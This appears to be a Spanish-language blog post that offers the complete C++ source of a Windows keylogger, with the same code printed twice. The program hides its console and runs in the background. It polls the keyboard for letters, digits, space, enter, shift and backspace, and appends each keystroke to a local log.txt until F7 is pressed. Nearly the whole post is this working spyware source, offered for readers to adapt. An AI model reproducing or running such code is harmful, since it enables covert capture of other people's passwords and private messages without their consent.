Keylogger en C++
Un keylogger muy simple y modificable a tu gusto.
Guarda las teclas que pulsas en un archivo de texto, el programa
se ejecuta en segundo plano pero se puede cerrar desde el admin de tareas.
Solo capta las teclas con la condicion if que se muestran en
el codigo.
#include <iostream>
#include <windows.h>
#include <fstream>
using namespace std;
int main(){
FreeConsole();
bool aprete = true;
//While iniciara el bucle.
while(aprete){
//Comprueba que tecla se ha pulsado.
if (GetAsyncKeyState(VK_SPACE) == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << " ";
log.close();
}
if (GetAsyncKeyState(VK_RETURN) == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "\n";
log.close();
}
if (GetAsyncKeyState(VK_OEM_PERIOD) == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << ".";
log.close();
}
if (GetAsyncKeyState('A') == -32767){
//Comprueba si Bloq Mayus esta activado. Si no lo esta se escribira en minusucla.
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
//Abre el archivio y esribe la letra pulsada.
ofstream log;
log.open("log.txt", ofstream::app);
log << "A";
//Cierra el archivo y vuelve a iniciar el bucle.
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "a";
log.close();
}
}
if (GetAsyncKeyState('B') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "B";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "b";
log.close();
}
}
if (GetAsyncKeyState('C') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "C";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "c";
log.close();
}
}
if (GetAsyncKeyState('D') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "D";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "d";
log.close();
}
}
if (GetAsyncKeyState('E') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "E";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "e";
log.close();
}
}
if (GetAsyncKeyState('F') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "F";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "f";
log.close();
}
}
if (GetAsyncKeyState('G') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "G";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "g";
log.close();
}
}
if (GetAsyncKeyState('H') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "H";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "h";
log.close();
}
}
if (GetAsyncKeyState('I') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "I";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "i";
log.close();
}
}
if (GetAsyncKeyState('J') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "J";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "j";
log.close();
}
}
if (GetAsyncKeyState('K') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "K";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "k";
log.close();
}
}
if (GetAsyncKeyState('L') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "L";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "l";
log.close();
}
}
if (GetAsyncKeyState('M') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "M";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "m";
log.close();
}
}
if (GetAsyncKeyState('N') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "N";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "n";
log.close();
}
}
if (GetAsyncKeyState(VK_BACK) == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "-[BACKSPACE]-";
log.close();
}
if (GetAsyncKeyState('O') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "O";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "o";
log.close();
}
}
if (GetAsyncKeyState('P') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "P";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "p";
log.close();
}
}
if (GetAsyncKeyState('Q') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "Q";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "q";
log.close();
}
}
if (GetAsyncKeyState('R') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "R";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "r";
log.close();
}
}
if (GetAsyncKeyState('S') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "S";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "s";
log.close();
}
}
if (GetAsyncKeyState('T') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "T";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "t";
log.close();
}
}
if (GetAsyncKeyState('U') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "U";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "u";
log.close();
}
}
if (GetAsyncKeyState('V') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "V";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "v";
log.close();
}
}
if (GetAsyncKeyState('W') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "W";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "w";
log.close();
}
}
if (GetAsyncKeyState('X') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "X";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "x";
log.close();
}
}
if (GetAsyncKeyState('Y') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "Y";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "y";
log.close();
}
}
if (GetAsyncKeyState('Z') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "Z";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "z";
log.close();
}
}
if (GetAsyncKeyState(VK_SHIFT) == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "-[SHIFT]-";
log.close();
}
if (GetAsyncKeyState('1') == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "1";
log.close();
}
if (GetAsyncKeyState('2') == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "2";
log.close();
}
if (GetAsyncKeyState('3') == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "3";
log.close();
}
if (GetAsyncKeyState('4') == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "4";
log.close();
}
if (GetAsyncKeyState('5') == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "5";
log.close();
}
if (GetAsyncKeyState('6') == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "6";
log.close();
}
if (GetAsyncKeyState('7') == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "7";
log.close();
}
if (GetAsyncKeyState('8') == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "8";
log.close();
}
if (GetAsyncKeyState('9') == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "9";
log.close();
}
if (GetAsyncKeyState('0') == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "0";
log.close();
}
//Si se pulsa F7 el programa se cierra.
if (GetAsyncKeyState(VK_F7) == -32767){
aprete = false;
}
}
}
Compilado con C++
Guarda las teclas que pulsas en un archivo de texto, el programa
se ejecuta en segundo plano pero se puede cerrar desde el admin de tareas.
Solo capta las teclas con la condicion if que se muestran en
el codigo.
#include <iostream>
#include <windows.h>
#include <fstream>
using namespace std;
int main(){
FreeConsole();
bool aprete = true;
//While iniciara el bucle.
while(aprete){
//Comprueba que tecla se ha pulsado.
if (GetAsyncKeyState(VK_SPACE) == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << " ";
log.close();
}
if (GetAsyncKeyState(VK_RETURN) == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "\n";
log.close();
}
if (GetAsyncKeyState(VK_OEM_PERIOD) == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << ".";
log.close();
}
if (GetAsyncKeyState('A') == -32767){
//Comprueba si Bloq Mayus esta activado. Si no lo esta se escribira en minusucla.
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
//Abre el archivio y esribe la letra pulsada.
ofstream log;
log.open("log.txt", ofstream::app);
log << "A";
//Cierra el archivo y vuelve a iniciar el bucle.
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "a";
log.close();
}
}
if (GetAsyncKeyState('B') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "B";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "b";
log.close();
}
}
if (GetAsyncKeyState('C') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "C";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "c";
log.close();
}
}
if (GetAsyncKeyState('D') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "D";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "d";
log.close();
}
}
if (GetAsyncKeyState('E') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "E";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "e";
log.close();
}
}
if (GetAsyncKeyState('F') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "F";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "f";
log.close();
}
}
if (GetAsyncKeyState('G') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "G";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "g";
log.close();
}
}
if (GetAsyncKeyState('H') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "H";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "h";
log.close();
}
}
if (GetAsyncKeyState('I') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "I";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "i";
log.close();
}
}
if (GetAsyncKeyState('J') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "J";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "j";
log.close();
}
}
if (GetAsyncKeyState('K') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "K";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "k";
log.close();
}
}
if (GetAsyncKeyState('L') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "L";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "l";
log.close();
}
}
if (GetAsyncKeyState('M') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "M";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "m";
log.close();
}
}
if (GetAsyncKeyState('N') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "N";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "n";
log.close();
}
}
if (GetAsyncKeyState(VK_BACK) == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "-[BACKSPACE]-";
log.close();
}
if (GetAsyncKeyState('O') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "O";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "o";
log.close();
}
}
if (GetAsyncKeyState('P') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "P";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "p";
log.close();
}
}
if (GetAsyncKeyState('Q') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "Q";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "q";
log.close();
}
}
if (GetAsyncKeyState('R') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "R";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "r";
log.close();
}
}
if (GetAsyncKeyState('S') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "S";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "s";
log.close();
}
}
if (GetAsyncKeyState('T') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "T";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "t";
log.close();
}
}
if (GetAsyncKeyState('U') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "U";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "u";
log.close();
}
}
if (GetAsyncKeyState('V') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "V";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "v";
log.close();
}
}
if (GetAsyncKeyState('W') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "W";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "w";
log.close();
}
}
if (GetAsyncKeyState('X') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "X";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "x";
log.close();
}
}
if (GetAsyncKeyState('Y') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "Y";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "y";
log.close();
}
}
if (GetAsyncKeyState('Z') == -32767){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0){
ofstream log;
log.open("log.txt", ofstream::app);
log << "Z";
log.close();
}
else {
ofstream log;
log.open("log.txt", ofstream::app);
log << "z";
log.close();
}
}
if (GetAsyncKeyState(VK_SHIFT) == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "-[SHIFT]-";
log.close();
}
if (GetAsyncKeyState('1') == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "1";
log.close();
}
if (GetAsyncKeyState('2') == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "2";
log.close();
}
if (GetAsyncKeyState('3') == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "3";
log.close();
}
if (GetAsyncKeyState('4') == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "4";
log.close();
}
if (GetAsyncKeyState('5') == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "5";
log.close();
}
if (GetAsyncKeyState('6') == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "6";
log.close();
}
if (GetAsyncKeyState('7') == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "7";
log.close();
}
if (GetAsyncKeyState('8') == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "8";
log.close();
}
if (GetAsyncKeyState('9') == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "9";
log.close();
}
if (GetAsyncKeyState('0') == -32767){
ofstream log;
log.open("log.txt", ofstream::app);
log << "0";
log.close();
}
//Si se pulsa F7 el programa se cierra.
if (GetAsyncKeyState(VK_F7) == -32767){
aprete = false;
}
}
}
Compilado con C++
Comentarios
Publicar un comentario